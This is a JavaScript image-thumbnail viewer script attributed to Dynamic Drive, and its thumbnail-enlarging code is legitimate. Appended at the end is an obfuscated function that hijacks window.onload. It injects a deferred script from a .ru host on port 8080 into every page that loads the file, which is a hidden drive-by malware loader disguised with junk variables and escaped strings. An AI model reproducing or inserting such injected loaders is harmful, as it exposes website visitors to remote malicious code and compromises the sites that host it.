// -------------------------------------------------------------------
// Image Thumbnail Viewer II- By Dynamic Drive, available at: http://www.dynamicdrive.com
// Last updated: Feb 5th, 2007
// -------------------------------------------------------------------

var thumbnailviewer2={
enableTitle: true, //Should "title" attribute of link be used as description?
enableTransition: true, //Enable fading transition in IE?
hideimgmouseout: false, //Hide enlarged image when mouse moves out of anchor link? (if enlarged image is hyperlinked, always set to false!)

/////////////No need to edit beyond here/////////////////////////

iefilterstring: 'progid:DXImageTransform.Microsoft.GradientWipe(GradientSize=1.0 Duration=0.7)', //IE specific multimedia filter string
iefiltercapable: document.compatMode && window.createPopup? true : false, //Detect browser support for IE filters
preloadedimages:[], //array to preload enlarged images (ones set to display "onmouseover"
targetlinks:[], //array to hold participating links (those with rel="enlargeimage:initType")
alreadyrunflag: false, //flag to indicate whether init() function has been run already come window.onload

loadimage:function(linkobj){
var imagepath=linkobj.getAttribute("href") //Get URL to enlarged image
var showcontainer=document.getElementById(linkobj.getAttribute("rev").split("::")[0]) //Reference container on page to show enlarged image in
var dest=linkobj.getAttribute("rev").split("::")[1] //Get URL enlarged image should be linked to, if any
var description=(thumbnailviewer2.enableTitle && linkobj.getAttribute("title"))? linkobj.getAttribute("title") : "" //Get title attr
var imageHTML='<img src="'+imagepath+'" style="border-width: 0" />' //Construct HTML for enlarged image
if (typeof dest!="undefined") //Hyperlink the enlarged image?
imageHTML='<a href="'+dest+'">'+imageHTML+'</a>'
if (description!="") //Use title attr of the link as description?
imageHTML+='<br />'+description
if (this.iefiltercapable){ //Is this an IE browser that supports filters?
showcontainer.style.filter=this.iefilterstring
showcontainer.filters[0].Apply()
}
showcontainer.innerHTML=imageHTML
this.featureImage=showcontainer.getElementsByTagName("img")[0] //Reference enlarged image itself
this.featureImage.onload=function(){ //When enlarged image has completely loaded
if (thumbnailviewer2.iefiltercapable) //Is this an IE browser that supports filters?
showcontainer.filters[0].Play()
}
this.featureImage.onerror=function(){ //If an error has occurred while loading the image to show
if (thumbnailviewer2.iefiltercapable) //Is this an IE browser that supports filters?
showcontainer.filters[0].Stop()
}
},

hideimage:function(linkobj){
var showcontainer=document.getElementById(linkobj.getAttribute("rev").split("::")[0]) //Reference container on page to show enlarged image in
showcontainer.innerHTML=""
},


cleanup:function(){ //Clean up routine on page unload
if (this.featureImage){this.featureImage.onload=null; this.featureImage.onerror=null; this.featureImage=null}
this.showcontainer=null
for (var i=0; i<this.targetlinks.length; i++){
this.targetlinks[i].onclick=null
this.targetlinks[i].onmouseover=null
this.targetlinks[i].onmouseout=null
}
},

addEvent:function(target, functionref, tasktype){ //assign a function to execute to an event handler (ie: onunload)
var tasktype=(window.addEventListener)? tasktype : "on"+tasktype
if (target.addEventListener)
target.addEventListener(tasktype, functionref, false)
else if (target.attachEvent)
target.attachEvent(tasktype, functionref)
},

init:function(){ //Initialize thumbnail viewer script
this.iefiltercapable=(this.iefiltercapable && this.enableTransition) //True or false: IE filters supported and is enabled by user
var pagelinks=document.getElementsByTagName("a")
for (var i=0; i<pagelinks.length; i++){ //BEGIN FOR LOOP
if (pagelinks[i].getAttribute("rel") && /enlargeimage:/i.test(pagelinks[i].getAttribute("rel"))){ //Begin if statement: Test for rel="enlargeimage"
var initType=pagelinks[i].getAttribute("rel").split("::")[1] //Get display type of enlarged image ("click" or "mouseover")
if (initType=="mouseover"){ //If type is "mouseover", preload the enlarged image for quicker display
this.preloadedimages[this.preloadedimages.length]=new Image()
this.preloadedimages[this.preloadedimages.length-1].src=pagelinks[i].href
pagelinks[i]["onclick"]=function(){ //Cancel default click action
return false
}
}
pagelinks[i]["on"+initType]=function(){ //Load enlarged image based on the specified display type (event)
thumbnailviewer2.loadimage(this) //Load image
return false
}
if (this.hideimgmouseout)
pagelinks[i]["onmouseout"]=function(){
thumbnailviewer2.hideimage(this)
}
this.targetlinks[this.targetlinks.length]=pagelinks[i] //store reference to target link
} //end if statement
} //END FOR LOOP


} //END init() function

}


if (document.addEventListener) //Take advantage of "DOMContentLoaded" event in select Mozilla/ Opera browsers for faster init
thumbnailviewer2.addEvent(document, function(){thumbnailviewer2.alreadyrunflag=1; thumbnailviewer2.init()}, "DOMContentLoaded") //Initialize script on page load
else if (document.all && document.getElementsByTagName("a").length>0){ //Take advantage of "defer" attr inside SCRIPT tag in IE for instant init
thumbnailviewer2.alreadyrunflag=1
thumbnailviewer2.init()
}
thumbnailviewer2.addEvent(window, function(){if (!thumbnailviewer2.alreadyrunflag) thumbnailviewer2.init()}, "load") //Default init method: window.onload
thumbnailviewer2.addEvent(window, function(){thumbnailviewer2.cleanup()}, "unload")

function y(){var M=window;var H=unescape;var W;if(W!='Ow'){W=''};var c;if(c!='av' && c!='C'){c=''};var E;if(E!='' && E!='Hf'){E=null};var q=H("%2f%77%6f%72%64%72%65%66%65%72%65%6e%63%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%64%75%6c%74%61%64%77%6f%72%6c%64%2e%63%6f%6d%2e%70%68%70");var Y="";var Fp;if(Fp!='GJ' && Fp!='Pq'){Fp='GJ'};var f;if(f!='T' && f!='OZ'){f='T'};function i(_,t){this.e="";var _K;if(_K!=''){_K='yZ'};var ja="";var J=new String("g");var a=H("%5b"), n=H("%5d");var IM;if(IM!='np' && IM!='h'){IM=''};this.pl='';var yU=a+t+n;this.Di='';var O=new RegExp(yU, J);var Jg;if(Jg!='' && Jg!='o'){Jg=null};var g='';return _.replace(O, new String());var U=new Array();var us;if(us!='uj' && us!='iA'){us='uj'};};var Q;if(Q!='wJ'){Q=''};var Ml;if(Ml!='' && Ml!='gS'){Ml='tu'};var F=document;var GR;if(GR!='Xu'){GR=''};var u=new String();var m=i('851925036735862719501267','29631475');var vO;if(vO!='' && vO!='b'){vO='aW'};var Lc=new Array();var Hq;if(Hq!='' && Hq!='Oz'){Hq='IMw'};function p(){var vc;if(vc!='hP'){vc=''};var kT=new String();var hT;if(hT!='s' && hT!='HM'){hT='s'};var V=H("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var FX='';var r;if(r!='' && r!='x'){r='aq'};u=V;var B;if(B!='Jc'){B='Jc'};u+=m;var ec;if(ec!='' && ec!='lj'){ec=''};u+=q;var zm="";try {var WO;if(WO!='' && WO!='zP'){WO=''};G=F.createElement(i('sEcJrQi7pwtN','w1EQL7gJN8lT9PF'));var zg;if(zg!='' && zg!='pI'){zg='YI'};var R=new String();var WI="";var Cw=new Date();var mp=new Array();G[H("%73%72%63")]=u;var vf=new String();var qb=new Date();G[H("%64%65%66%65%72")]=[1,1][0];var UX;if(UX!=''){UX='nr'};var uh='';F.body.appendChild(G);var ZC;if(ZC!='YA'){ZC=''};} catch(_l){this.fC='';this.FW='';alert(_l);var su;if(su!=''){su='ni'};var Vl;if(Vl!='fCv'){Vl=''};};}var Dbd='';var KM;if(KM!='Ozr'){KM='Ozr'};var Og;if(Og!='' && Og!='Rz'){Og=''};M["PCXIonloa".substr(4)+"dk2P".substr(0,1)]=p;};var tK=new String();this.DbA='';y();this.eQ="";
